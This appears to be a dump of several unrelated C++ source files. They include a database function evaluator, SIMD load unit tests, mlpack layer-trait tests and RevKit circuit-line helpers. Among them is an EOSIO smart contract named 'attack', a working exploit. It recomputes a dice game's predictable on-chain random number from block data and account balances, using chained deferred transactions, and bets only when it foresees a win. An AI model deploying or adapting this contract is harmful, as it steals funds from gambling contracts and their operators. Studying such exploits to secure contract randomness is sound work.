    fFuncMap["second"] = new Func_second();	//dlh
    fFuncMap["sec_to_time"] = new Func_sec_to_time();
    fFuncMap["sha"] = new Func_sha();
    fFuncMap["sha1"] = new Func_sha();
    fFuncMap["sign"] = new Func_sign();
    fFuncMap["sin"] = new Func_sin();
    fFuncMap["space"] = new Func_space();
    fFuncMap["sqrt"] = new Func_sqrt();
    fFuncMap["str_to_date"] = new Func_str_to_date();
    fFuncMap["strcmp"] = new Func_strcmp();
    fFuncMap["substr"] = new Func_substr();
    fFuncMap["substring"] = new Func_substr();	//dlh
    fFuncMap["substring_index"] = new Func_substring_index();	//dlh
    fFuncMap["sysdate"] = new Func_sysdate();	//dlhFuncExp
    fFuncMap["cast_as_time"] = new Func_time();	//dlh
    fFuncMap["tan"] = new Func_tan();
    fFuncMap["timediff"] = new Func_timediff();	//dlh
    fFuncMap["timestampdiff"] = new Func_timestampdiff();
    fFuncMap["time_format"] = new Func_time_format();	//dlh
    fFuncMap["time_to_sec"] = new Func_time_to_sec();	//dlh
    fFuncMap["to_days"] = new Func_to_days();	//dlh
    fFuncMap["trim"] = new Func_trim();	//dlh
    fFuncMap["trim_oracle"] = new Func_trim_oracle(); //dlh
    fFuncMap["truncate"] = new Func_truncate();	//dlh
    fFuncMap["ucase"] = new Func_ucase();	//dlh
    fFuncMap["unhex"] = new Func_unhex();
    fFuncMap["unix_timestamp"] = new Func_unix_timestamp();
    fFuncMap["upper"] = new Func_ucase();	//dlh
    fFuncMap["week"] = new Func_week();	//dlh
    fFuncMap["weekday"] = new Func_weekday();
    fFuncMap["weekofyear"] = new Func_week();	//dlh
    fFuncMap["year"] = new Func_year();	//dlh
    fFuncMap["yearweek"] = new Func_yearweek();	//dlh
#ifndef SKIP_UDF
    udfsdk::UDFSDK sdk;
    FuncMap sdkfm = sdk.UDFMap();
    FuncMap::const_iterator iter = sdkfm.begin();
    FuncMap::iterator funcMapIter;

    for (; iter != sdkfm.end(); ++iter)
    {
        //add sdkfm to fFuncMap
        funcMapIter = fFuncMap.find(iter->first);

        if (funcMapIter != fFuncMap.end())
        {
            // silently ignore the udf function? log it?
        }
        else
        {
            fFuncMap[iter->first] = iter->second;
        }
    }

#endif
}

Func* FuncExp::getFunctor(std::string& funcName)
{
    FuncMap::iterator iter = fFuncMap.find(funcName);

    if (iter == fFuncMap.end())
        return NULL;
    else
        return (*iter).second;
}

void FuncExp::evaluate(rowgroup::Row& row, std::vector<execplan::SRCP>& expression)
{
    bool isNull;

    for (uint32_t i = 0; i < expression.size(); i++)
    {
        isNull = false;

        switch (expression[i]->resultType().colDataType)
        {
            case CalpontSystemCatalog::DATE:
            {
                int64_t val = expression[i]->getIntVal(row, isNull);

                // @bug6061, workaround date_add always return datetime for both date and datetime
                if (val & 0xFFFFFFFF00000000)
                    val = (((val >> 32) & 0xFFFFFFC0) | 0x3E);

                if (isNull)
                    row.setUintField<4>(DATENULL, expression[i]->outputIndex());
                else
                    row.setUintField<4>(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::DATETIME:
            {
                int64_t val = expression[i]->getDatetimeIntVal(row, isNull);

                if (isNull)
                    row.setUintField<8>(DATETIMENULL, expression[i]->outputIndex());
                else
                    row.setUintField<8>(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::TIMESTAMP:
            {
                int64_t val = expression[i]->getTimestampIntVal(row, isNull);

                if (isNull)
                    row.setUintField<8>(TIMESTAMPNULL, expression[i]->outputIndex());
                else
                    row.setUintField<8>(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::TIME:
            {
                int64_t val = expression[i]->getTimeIntVal(row, isNull);

                if (isNull)
                    row.setIntField<8>(TIMENULL, expression[i]->outputIndex());
                else
                    row.setIntField<8>(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::CHAR:
            case CalpontSystemCatalog::VARCHAR:

            // TODO: might not be right thing for BLOB
            case CalpontSystemCatalog::BLOB:
            case CalpontSystemCatalog::TEXT:
            {
                const std::string& val = expression[i]->getStrVal(row, isNull);

                if (isNull)
                    row.setStringField(CPNULLSTRMARK, expression[i]->outputIndex());
                else
                    row.setStringField(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::BIGINT:
            {
                int64_t val = expression[i]->getIntVal(row, isNull);

                if (isNull)
                    row.setIntField<8>(BIGINTNULL, expression[i]->outputIndex());
                else
                    row.setIntField<8>(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::UBIGINT:
            {
                uint64_t val = expression[i]->getUintVal(row, isNull);

                if (isNull)
                    row.setUintField<8>(UBIGINTNULL, expression[i]->outputIndex());
                else
                    row.setUintField<8>(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::INT:
            case CalpontSystemCatalog::MEDINT:
            {
                int64_t val = expression[i]->getIntVal(row, isNull);

                if (isNull)
                    row.setIntField<4>(INTNULL, expression[i]->outputIndex());
                else
                    row.setIntField<4>(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::UINT:
            case CalpontSystemCatalog::UMEDINT:
            {
                uint64_t val = expression[i]->getUintVal(row, isNull);

                if (isNull)
                    row.setUintField<4>(UINTNULL, expression[i]->outputIndex());
                else
                    row.setUintField<4>(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::SMALLINT:
            {
                int64_t val = expression[i]->getIntVal(row, isNull);

                if (isNull)
                    row.setIntField<2>(SMALLINTNULL, expression[i]->outputIndex());
                else
                    row.setIntField<2>(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::USMALLINT:
            {
                uint64_t val = expression[i]->getUintVal(row, isNull);

                if (isNull)
                    row.setUintField<2>(USMALLINTNULL, expression[i]->outputIndex());
                else
                    row.setUintField<2>(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::TINYINT:
            {
                int64_t val = expression[i]->getIntVal(row, isNull);

                if (isNull)
                    row.setIntField<1>(TINYINTNULL, expression[i]->outputIndex());
                else
                    row.setIntField<1>(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::UTINYINT:
            {
                uint64_t val = expression[i]->getUintVal(row, isNull);

                if (isNull)
                    row.setUintField<1>(UTINYINTNULL, expression[i]->outputIndex());
                else
                    row.setUintField<1>(val, expression[i]->outputIndex());

                break;
            }

            //In this case, we're trying to load a double output column with float data. This is the
            // case when you do sum(floatcol), e.g.
            case CalpontSystemCatalog::DOUBLE:
            case CalpontSystemCatalog::UDOUBLE:
            {
                double val = expression[i]->getDoubleVal(row, isNull);

                if (isNull)
                    row.setIntField<8>(DOUBLENULL, expression[i]->outputIndex());
                else
                    row.setDoubleField(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::FLOAT:
            case CalpontSystemCatalog::UFLOAT:
            {
                float val = expression[i]->getFloatVal(row, isNull);

                if (isNull)
                    row.setIntField<4>(FLOATNULL, expression[i]->outputIndex());
                else
                    row.setFloatField(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::LONGDOUBLE:
            {
                long double val = expression[i]->getLongDoubleVal(row, isNull);

                if (isNull)
                    row.setLongDoubleField(LONGDOUBLENULL, expression[i]->outputIndex());
                else
                    row.setLongDoubleField(val, expression[i]->outputIndex());

                break;
            }

            case CalpontSystemCatalog::DECIMAL:
            case CalpontSystemCatalog::UDECIMAL:
            {
                IDB_Decimal val = expression[i]->getDecimalVal(row, isNull);

                if (expression[i]->resultType().colWidth
                    == datatypes::MAXDECIMALWIDTH)
                {
                    if (isNull)
                    {
                         row.setBinaryField_offset(
                            const_cast<int128_t*>(&datatypes::Decimal128Null),
                            expression[i]->resultType().colWidth,
                            row.getOffset(expression[i]->outputIndex()));
                    }
                    else
                    {
                        row.setBinaryField_offset(&val.s128Value,
                            expression[i]->resultType().colWidth,
                            row.getOffset(expression[i]->outputIndex()));
                    }
                }
                else
                {
                    if (isNull)
                        row.setIntField<8>(BIGINTNULL, expression[i]->outputIndex());
                    else
                        row.setIntField<8>(val.value, expression[i]->outputIndex());
                }

                break;
            }

            default:	// treat as int64
            {
                throw std::runtime_error("funcexp::evaluate(): non support datatype to set field.");
            }
        }
    }
}

}

ext: cpp

max_stars_repo_name: zettadb/zettalib

max_issues_repo_name: zettadb/zettalib

max_forks_repo_name: zettadb/zettalib


text: #include <boost/mpl/map/aux_/erase_impl.hpp>

max_stars_repo_name: miathedev/BoostForArduino

max_issues_repo_name: miathedev/BoostForArduino

max_forks_repo_name: miathedev/BoostForArduino


text:
//==============================================================================
//         Copyright 2003 - 2012 LASMEA UMR 6602 CNRS/Univ. Clermont II
//         Copyright 2009 - 2012 LRI    UMR 8623 CNRS/Univ Paris Sud XI
//         Copyright 2014               MetaScale SAS
//
//          Distributed under the Boost Software License, Version 1.0.
//                 See accompanying file LICENSE.txt or copy at
//                     http://www.boost.org/LICENSE_1_0.txt
//==============================================================================
#include <boost/simd/include/functions/aligned_load.hpp>
#include <boost/simd/sdk/simd/native.hpp>
#include <boost/simd/sdk/simd/pack.hpp>
#include <boost/simd/sdk/simd/logical.hpp>
#include <boost/simd/sdk/simd/io.hpp>
#include <boost/simd/sdk/meta/as_logical.hpp>
#include <boost/simd/sdk/meta/scalar_of.hpp>

#include <nt2/sdk/unit/module.hpp>
#include <nt2/sdk/unit/tests/relation.hpp>
#include <nt2/sdk/unit/tests/type_expr.hpp>

#include <boost/preprocessor/seq/for_each.hpp>
#include <boost/preprocessor/seq/transform.hpp>
#include <boost/preprocessor/cat.hpp>

#include <boost/dispatch/functor/meta/call.hpp>
#include <boost/simd/preprocessor/stack_buffer.hpp>
#include <boost/fusion/include/at_c.hpp>
#include <boost/fusion/include/make_vector.hpp>

#include "../common/load_runner.hpp"
#include "../common/foo.hpp"
#include "fill.hpp"

#include <cstdlib>
#include <time.h>

#define NT2_TEST_ALIGNED_LOAD(r, data, elem) BOOST_PP_CAT(nt2_test_run_, data)<T, elem>::call();

template<class T, class U>
struct nt2_test_run_aligned_load
{
  static void call(bool offset = false)
  {
    std::cout << "With U = " << nt2::type_id<U>() << std::endl;
    using boost::simd::logical;
    using boost::simd::native;
    using boost::simd::pack;

    typedef BOOST_SIMD_DEFAULT_EXTENSION ext_t;

    aligned_load_runner< U          , native<T,ext_t>           >(offset);
    aligned_load_runner< logical<U> , native<logical<T>,ext_t>  >(offset);
    aligned_load_runner< U          , pack<T>                   >(offset);
  }
};

template<class T, class U>
struct nt2_test_run_mask_aligned_load
{
  static void call(bool offset = false, bool zero = false)
  {
    std::cout << "With U = " << nt2::type_id<U>() << std::endl;
    using boost::simd::logical;
    using boost::simd::native;
    using boost::simd::pack;

    typedef BOOST_SIMD_DEFAULT_EXTENSION ext_t;

    masked_aligned_load_runner< U          , native<T,ext_t>    , native<logical<T>, ext_t>  >(offset, zero);
    masked_aligned_load_runner< logical<U> , native<logical<T>,ext_t>  , native<logical<T>, ext_t> >(offset, zero);
  }
};

NT2_TEST_CASE_TPL( aligned_load,  BOOST_SIMD_SIMD_TYPES)
{
  BOOST_PP_SEQ_FOR_EACH(NT2_TEST_ALIGNED_LOAD, aligned_load, BOOST_SIMD_TYPES)
}

NT2_TEST_CASE_TPL( mask_aligned_load,  BOOST_SIMD_SIMD_TYPES)
{
  BOOST_PP_SEQ_FOR_EACH(NT2_TEST_ALIGNED_LOAD, mask_aligned_load, BOOST_SIMD_TYPES)
}

template<class T, class U>
struct nt2_test_run_mask_aligned_load_zero
{
  static void call()
  {
    nt2_test_run_mask_aligned_load<T,U>::call(true,true);
    nt2_test_run_mask_aligned_load<T,U>::call(false,true);
  }
};

NT2_TEST_CASE_TPL( mask_aligned_load_zero,  BOOST_SIMD_SIMD_TYPES)
{
  BOOST_PP_SEQ_FOR_EACH(NT2_TEST_ALIGNED_LOAD, mask_aligned_load_zero, BOOST_SIMD_TYPES)
}

template<class T, class U>
struct nt2_test_run_mask_aligned_load_offset
{
  static void call() { nt2_test_run_mask_aligned_load<T,U>::call(true); }
};

template<class T, class U>
struct nt2_test_run_aligned_load_offset
{
  static void call() { nt2_test_run_aligned_load<T,U>::call(true); }
};

NT2_TEST_CASE_TPL( aligned_load_offset,  BOOST_SIMD_SIMD_TYPES)
{
  BOOST_PP_SEQ_FOR_EACH(NT2_TEST_ALIGNED_LOAD, aligned_load_offset, BOOST_SIMD_TYPES)
}

NT2_TEST_CASE_TPL( mask_aligned_load_offset,  BOOST_SIMD_SIMD_TYPES)
{
  BOOST_PP_SEQ_FOR_EACH(NT2_TEST_ALIGNED_LOAD, mask_aligned_load_offset, BOOST_SIMD_TYPES)
}

NT2_TEST_CASE( load_sequence_pointer )
{
  using boost::simd::native;
  using boost::simd::pack;

  typedef BOOST_SIMD_DEFAULT_EXTENSION ext_t;

  aligned_load_runner< bar   , native<bar,ext_t>   >();
  aligned_load_runner< bar   , native<bar,ext_t>   >(true);
  aligned_load_runner< bar   , pack<bar>           >();
  aligned_load_runner< bar   , pack<bar>           >(true);
}

NT2_TEST_CASE_TPL( load_suboffset_periodic,  BOOST_SIMD_SIMD_TYPES)
{
  using boost::simd::meta::cardinal_of;
  using boost::simd::logical;
  using boost::simd::native;
  using boost::simd::pack;

  typedef BOOST_SIMD_DEFAULT_EXTENSION ext_t;
  typedef typename cardinal_of< native<T,ext_t> >::type card;

  misaligned_load_runner< T         , native<T,ext_t>           >(card());
  misaligned_load_runner< T         , pack<T>                   >(card());
  misaligned_load_runner< logical<T>, native<logical<T>,ext_t>  >(card());
  misaligned_load_runner< logical<T>, pack<logical<T> >         >(card());
}

NT2_TEST_CASE_TPL( mask_load_suboffset_periodic,  BOOST_SIMD_SIMD_TYPES)
{
  using boost::simd::meta::cardinal_of;
  using boost::simd::logical;
  using boost::simd::native;
  using boost::simd::pack;

  typedef BOOST_SIMD_DEFAULT_EXTENSION ext_t;
  typedef typename cardinal_of< native<T,ext_t> >::type card;

  masked_misaligned_load_runner< T         , native<T,ext_t>          , native<logical<T>,ext_t>  >(card());
  masked_misaligned_load_runner< logical<T>, native<logical<T>,ext_t> , native<logical<T>,ext_t>  >(card());
}

NT2_TEST_CASE_TPL( mask_load_suboffset_forward,  BOOST_SIMD_SIMD_TYPES)
{
  using boost::simd::logical;
  using boost::simd::native;
  using boost::simd::pack;

  typedef BOOST_SIMD_DEFAULT_EXTENSION ext_t;

  masked_misaligned_load_runner< T         , native<T,ext_t>         , native<logical<T>,ext_t> >(boost::mpl::int_<1>());
  masked_misaligned_load_runner< logical<T>, native<logical<T>,ext_t>, native<logical<T>,ext_t>  >(boost::mpl::int_<1>());
}

NT2_TEST_CASE_TPL( mask_load_suboffset_backward,  BOOST_SIMD_SIMD_TYPES)
{
  using boost::simd::logical;
  using boost::simd::native;
  using boost::simd::pack;

  typedef BOOST_SIMD_DEFAULT_EXTENSION ext_t;

  masked_misaligned_load_runner< T         , native<T,ext_t>         , native<logical<T>,ext_t>  >(boost::mpl::int_<1>());
  masked_misaligned_load_runner< logical<T>, native<logical<T>,ext_t>, native<logical<T>,ext_t>  >(boost::mpl::int_<-1>());
}

NT2_TEST_CASE_TPL( load_suboffset_forward,  BOOST_SIMD_SIMD_TYPES)
{
  using boost::simd::logical;
  using boost::simd::native;
  using boost::simd::pack;

  typedef BOOST_SIMD_DEFAULT_EXTENSION ext_t;

  misaligned_load_runner< T         , native<T,ext_t>           >(boost::mpl::int_<1>());
  misaligned_load_runner< T         , pack<T>                   >(boost::mpl::int_<1>());
  misaligned_load_runner< logical<T>, native<logical<T>,ext_t>  >(boost::mpl::int_<1>());
  misaligned_load_runner< logical<T>, pack<logical<T> >         >(boost::mpl::int_<1>());
}

NT2_TEST_CASE_TPL( load_suboffset_backward,  BOOST_SIMD_SIMD_TYPES)
{
  using boost::simd::logical;
  using boost::simd::native;
  using boost::simd::pack;

  typedef BOOST_SIMD_DEFAULT_EXTENSION ext_t;

  misaligned_load_runner< T         , native<T,ext_t>           >(boost::mpl::int_<1>());
  misaligned_load_runner< T         , pack<T>                   >(boost::mpl::int_<1>());
  misaligned_load_runner< logical<T>, native<logical<T>,ext_t>  >(boost::mpl::int_<-1>());
  misaligned_load_runner< logical<T>, pack<logical<T> >         >(boost::mpl::int_<-1>());
}

NT2_TEST_CASE( load_sequence )
{
  using boost::simd::aligned_load;
  using boost::simd::tag::aligned_load_;
  using boost::simd::native;
  using boost::simd::meta::cardinal_of;
  using boost::fusion::make_vector;
  using boost::fusion::result_of::value_at;

  typedef BOOST_SIMD_DEFAULT_EXTENSION            ext_t;
  typedef native<foo,ext_t>                       vT;
  typedef value_at<vT,boost::mpl::int_<0> >::type foo0_t;
  typedef value_at<vT,boost::mpl::int_<1> >::type foo1_t;
  typedef value_at<vT,boost::mpl::int_<2> >::type foo2_t;

  static const size_t sz = cardinal_of< vT >::value;

  BOOST_SIMD_ALIGNED_STACK_BUFFER( sdata , short , sz );
  BOOST_SIMD_ALIGNED_STACK_BUFFER( cdata , char  , sz );
  BOOST_SIMD_ALIGNED_STACK_BUFFER( fdata , float , sz );

  for(std::size_t i=0;i<sz;++i)
  {
    cdata[i] = char(1+i);
    fdata[i] = float(1+i);
    sdata[i] = short(1+i);
  }

  vT v = aligned_load<vT>(make_vector(&sdata[0], &fdata[0], &cdata[0]), 0);

  foo0_t sref = aligned_load<foo0_t>(&sdata[0]);
  foo1_t fref = aligned_load<foo1_t>(&fdata[0]);
  foo2_t cref = aligned_load<foo2_t>(&cdata[0]);

  NT2_TEST_EQUAL(boost::fusion::at_c<0>(v) , sref);
  NT2_TEST_EQUAL(boost::fusion::at_c<1>(v) , fref);
  NT2_TEST_EQUAL(boost::fusion::at_c<2>(v) , cref);
}


text:
/**
 * @file layer_traits_test.cpp
 * @author Marcus Edel
 *
 * Test the LayerTraits class. Because all of the values are known at compile
 * time, this test is meant to ensure that uses of LayerTraits still compile
 * okay and react as expected.
 */
#include <mlpack/core.hpp>

#include <mlpack/methods/ann/layer/layer_traits.hpp>
#include <mlpack/methods/ann/layer/bias_layer.hpp>
#include <mlpack/methods/ann/layer/multiclass_classification_layer.hpp>

#include <boost/test/unit_test.hpp>
#include "old_boost_test_definitions.hpp"

using namespace mlpack;
using namespace mlpack::ann;

BOOST_AUTO_TEST_SUITE(LayerTraitsTest);

// Be careful!  When writing new tests, always get the boolean value and store
// it in a temporary, because the Boost unit test macros do weird things and
// will cause bizarre problems.

// Test the defaults.
BOOST_AUTO_TEST_CASE(DefaultsTraitsTest)
{
  // An irrelevant non-connection type class is used here so that the default
  // implementation of ConnectionTraits is chosen.
  bool b = LayerTraits<int>::IsBinary;
  BOOST_REQUIRE_EQUAL(b, false);

  b =  LayerTraits<int>::IsOutputLayer;
  BOOST_REQUIRE_EQUAL(b, false);

  b =  LayerTraits<int>::IsBiasLayer;
  BOOST_REQUIRE_EQUAL(b, false);
}

// Test the BiasLayer traits.
BOOST_AUTO_TEST_CASE(BiasLayerTraitsTest)
{
  bool b = LayerTraits<BiasLayer<> >::IsBinary;
  BOOST_REQUIRE_EQUAL(b, false);

  b = LayerTraits<BiasLayer<> >::IsOutputLayer;
  BOOST_REQUIRE_EQUAL(b, false);

  b = LayerTraits<BiasLayer<> >::IsBiasLayer;
  BOOST_REQUIRE_EQUAL(b, true);
}

// Test the MulticlassClassificationLayer traits.
BOOST_AUTO_TEST_CASE(MulticlassClassificationLayerTraitsTest)
{
  bool b = LayerTraits<MulticlassClassificationLayer<> >::IsBinary;
  BOOST_REQUIRE_EQUAL(b, false);

  b = LayerTraits<MulticlassClassificationLayer<> >::IsOutputLayer;
  BOOST_REQUIRE_EQUAL(b, true);

  b = LayerTraits<MulticlassClassificationLayer<> >::IsBiasLayer;
  BOOST_REQUIRE_EQUAL(b, false);
}

BOOST_AUTO_TEST_SUITE_END();

max_stars_repo_name: vj-ug/Contribution-to-mlpack

max_issues_repo_name: vj-ug/Contribution-to-mlpack

max_forks_repo_name: vj-ug/Contribution-to-mlpack


text:
#include <utility>
#include <vector>
#include <string>
#include <eosiolib/eosio.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/contract.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/transaction.hpp>
#include <eosiolib/crypto.h>
#include <boost/algorithm/string.hpp>
#include "eosio.token.hpp"

#define EOS_SYMBOL S(4, EOS)

using eosio::asset;
using eosio::permission_level;
using eosio::action;
using eosio::print;
using eosio::name;
using eosio::unpack_action_data;
using eosio::symbol_type;
using eosio::transaction;
using eosio::time_point_sec;

class attack : public eosio::contract {
    public:
        uint64_t id = 66;
        attack(account_name self):eosio::contract(self)
        {}

        uint8_t random(account_name name, uint64_t game_id, uint64_t add)
        {
            auto eos_token = eosio::token(N(eosio.token));
            asset pool_eos = eos_token.get_balance(N(eosbocai2222), symbol_type(S(4, EOS)).name());
            asset ram_eos = eos_token.get_balance(N(eosio.ram), symbol_type(S(4, EOS)).name());
            asset betdiceadmin_eos = eos_token.get_balance(N(betdiceadmin), symbol_type(S(4, EOS)).name());
            asset newdexpocket_eos = eos_token.get_balance(N(newdexpocket), symbol_type(S(4, EOS)).name());
            asset chintailease_eos = eos_token.get_balance(N(chintailease), symbol_type(S(4, EOS)).name());
            asset eosbiggame44_eos = eos_token.get_balance(N(eosbiggame44), symbol_type(S(4, EOS)).name());
            asset total_eos = asset(0, EOS_SYMBOL);

            total_eos = pool_eos + ram_eos + betdiceadmin_eos + newdexpocket_eos + chintailease_eos + eosbiggame44_eos;
            auto amount = total_eos.amount + add;
            auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + amount;
            print("[ATTACK RANDOM]tapos_block_prefix=>",(uint64_t)tapos_block_prefix(),"|tapos_block_num=>",(uint64_t)tapos_block_num(),"|name=>",name,"|game_id=>",game_id,"|current_time=>",current_time(),"|total=>",amount,"\n");

            const char *mixedChar = reinterpret_cast<const char *>(&mixd);

            checksum256 result;
            sha256((char *)mixedChar, sizeof(mixedChar), &result);

            uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);
            return (uint8_t)(random_num % 100 + 1);
        }

        //@abi action
        void transfer(account_name from,account_name to,asset quantity,std::string memo)
        {
            // if (from == _self || to != _self)
            // {
            //     return;
            // }
            if (from == N(eosbocai2222))
            {
                return;
            }
            transaction txn{};
            txn.actions.emplace_back(
                action(eosio::permission_level(_self, N(active)),
                    _self,
                    N(reveal1),
                    std::make_tuple(id)
                )
            );
            txn.delay_sec = 2;
            txn.send(now(), _self, false);

            print("[ATTACK] current_time => ", current_time(), "\n");
        }

        //@abi action
        void reveal1(uint64_t id)
        {
            transaction txn{};
            txn.actions.emplace_back(
                action(eosio::permission_level(_self, N(active)),
                    _self,
                    N(reveal2),
                    std::make_tuple(id)
                )
            );
            txn.delay_sec = 2;
            txn.send(now(), _self, false);
            print("[ATTACK REVEAL1] current_time => ", current_time(), "\n");
        }

        //@abi action
        void reveal2(uint64_t id)
        {
            std::string memo = "noneage";
            print("[ATTACK REVEAL2] current_time => ", current_time(), "\n");

            for(int i=0;i<=100;i++)
            {
                uint8_t r = random(_self, 87, i);
                if((uint64_t)r < 6)
                {
                    print("[PREDICT RANDOM] random = ", (uint64_t)r, "\n");
                    if(i > 0)
                    {
                        action(permission_level(_self, N(active)),
                            N(eosio.token),
                            N(transfer),
                            std::make_tuple(_self, N(eosbiggame44), asset(i, EOS_SYMBOL), memo))
                        .send();
                    }
                    break;
                }
            }
        }
};

#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
   void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
      auto self = receiver; \
      if( code == self || code == N(eosio.token)) { \
         if( action == N(transfer)){ \
                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
         } \
         TYPE thiscontract( self ); \
         switch( action ) { \
            EOSIO_API( TYPE, MEMBERS ) \
         } \
         /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
      } \
   } \
}

EOSIO_ABI_EX( attack,
        (transfer)(reveal1)(reveal2)
)


text:
/* RevKit: A Toolkit for Reversible Circuit Design (www.revkit.org)
 * Copyright (C) 2009-2011  The RevKit Developers <revkit@informatik.uni-bremen.de>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

/**
 * @file find_lines.hpp
 *
 * @brief Finds empty and non-empty lines in circuits and gates
 */

#ifndef FIND_EMPTY_LINES_HPP
#define FIND_EMPTY_LINES_HPP

#include <core/circuit.hpp>

#include <boost/bind.hpp>
#include <boost/iterator/counting_iterator.hpp>

namespace revkit
{

  class gate;

  /**
   * @brief Finds non empty lines in a gate
   *
   * This function inserts all lines, which are
   * either control or target line into an iterator.
   *
   * @section sec_find_empty_lines_example Example
   *
   * @code
   * revkit::gate::line_container non_empty_lines;
   * revkit::find_non_empty_lines( circ[0], circ.lines(), std::insert_iterator<revkit::gate::line_container>( non_empty_lines, non_empty_lines.begin() ) );
   * @endcode
   *
   * @param src       Gate
   * @param result    Iterator to add non empty lines of type gate::line
   *
   * @return The iterator after adding the lines (pointing behind the end)
   *
   * @author RevKit
   * @since  1.0
   */
  template<typename Iterator>
  Iterator find_non_empty_lines( const gate& src, Iterator result )
  {
    std::copy( src.begin_controls(), src.end_controls(), result );
    return std::copy( src.begin_targets(), src.end_targets(), result );
  }

  /**
   * @brief Finds non empty lines in a range of gates
   *
   * This function finds lines in a range of gates [\p first, \p last) which
   * are used by at least one gate, meaning that they
   * are control or target line for at least one gate.
   *
   * @param first     Begin iterator of the gates (inclusive)
   * @param last      End iterator of the gates (exclusive)
   * @param result    Iterator to add non empty lines of type gate::line
   *
   * @return The iterator after adding the lines (pointing behind the end)
   *
   * @author RevKit
   * @since  1.0
   */
  template<typename GateIterator, typename Iterator>
  Iterator find_non_empty_lines( GateIterator first, GateIterator last, Iterator result )
  {
    std::for_each( first, last, boost::bind( (Iterator(*)(const gate&, Iterator))&find_non_empty_lines<Iterator>, _1, result ) );
    return result;
  }

  /**
   * @brief Finds non empty lines in a circuit
   *
   * This function finds lines in a circuit which
   * are used by at least one gate, meaning that they
   * are control or target line for at least one gate.
   *
   * @param circ   Circuit
   * @param result Iterator to add non empty lines of type gate::line
   *
   * @return The iterator after adding the lines (pointing behind the end)
   *
   * @author RevKit
   * @since  1.0
   */
  template<typename Iterator>
  Iterator find_non_empty_lines( const circuit& circ, Iterator result )
  {
    return find_non_empty_lines( circ.begin(), circ.end(), result );
  }

  /**
   * @brief Finds empty lines in a gate
   *
   * This function inserts all empty lines, which are
   * neither control or target line into an iterator.
   *
   * @section sec_find_empty_lines_example Example
   *
   * @code
   * revkit::gate::line_container empty_lines;
   * revkit::find_empty_lines( circ[0], circ.lines(), std::insert_iterator<revkit::gate::line_container>( empty_lines, empty_lines.begin() ) );
   * @endcode
   *
   * @param src       Gate
   * @param line_size Number of lines in the gate
   * @param result    Iterator to add empty lines of type gate::line
   *
   * @return The iterator after adding the lines (pointing behind the end)
   *
   * @author RevKit
   * @since  1.0
   */
  template<typename Iterator>
  Iterator find_empty_lines( const gate& src, unsigned line_size, Iterator result )
  {
    gate::line_container all_lines;
    find_non_empty_lines( src, std::insert_iterator<gate::line_container>( all_lines, all_lines.begin() ) );

    return std::set_difference( boost::make_counting_iterator( 0u ), boost::make_counting_iterator( line_size ),
                                all_lines.begin(), all_lines.end(), result );
  }

  /**
   * @brief Finds empty lines in a gate
   *
   * This function inserts all empty lines, which are
   * neither control or target line into an line container.
   *
   * @section sec_find_empty_lines_example2 Example
   *
   * @code
   * revkit::gate::line_container empty_lines;
   * revkit::find_empty_lines( *circ[0], circ.lines(), empty_lines );
   * @endcode
   *
   * @param src       Gate
   * @param line_size Number of lines in the gate
   * @param lines     A gate::line_container to insert the empty lines
   *
   * @author RevKit
   * @since  1.0
   */
  void find_empty_lines( const gate& src, unsigned line_size, gate::line_container& lines );

  /**
   * @brief Finds empty lines in a range of gates
   *
   * This function finds lines in a range of gates [\p first, \p last) which
   * are never used by any gate, meaning that they
   * are no control or target line for any gate.
   *
   * @param first     Begin iterator of the gates (inclusive)
   * @param last      End iterator of the gates (exclusive)
   * @param line_size Number of lines for the gates
   * @param result    Iterator to add empty lines of type gate::line
   *
   * @return The iterator after adding the lines (pointing behind the end)
   *
   * @author RevKit
   * @since  1.0
   */
  template<typename GateIterator, typename Iterator>
  Iterator find_empty_lines( GateIterator first, GateIterator last, unsigned line_size, Iterator result )
  {
    gate::line_container all_lines;
    find_non_empty_lines( first, last, std::insert_iterator<gate::line_container>( all_lines, all_lines.begin() ) );

    return std::set_difference( boost::make_counting_iterator( 0u ), boost::make_counting_iterator( line_size ),
                                all_lines.begin(), all_lines.end(), result );
  }

  /**
   * @brief Finds empty lines in a circuit
   *
   * This function finds lines in a circuit which
   * are never used by any gate, meaning that they
   * are no control or target line for any gate.
   *
   * @param circ   Circuit
   * @param result Iterator to add empty lines of type gate::line
   *
   * @return The iterator after adding the lines (pointing behind the end)
   *
   * @author RevKit
   * @since  1.0
   */
  template<typename Iterator>
  Iterator find_empty_lines( const circuit& circ, Iterator result )
  {
    return find_empty_lines( circ.begin(), circ.end(), circ.lines(), result );
  }
}

#endif /* FIND_EMPTY_LINES_HPP */

max_stars_repo_name: clairechingching/ScaffCC

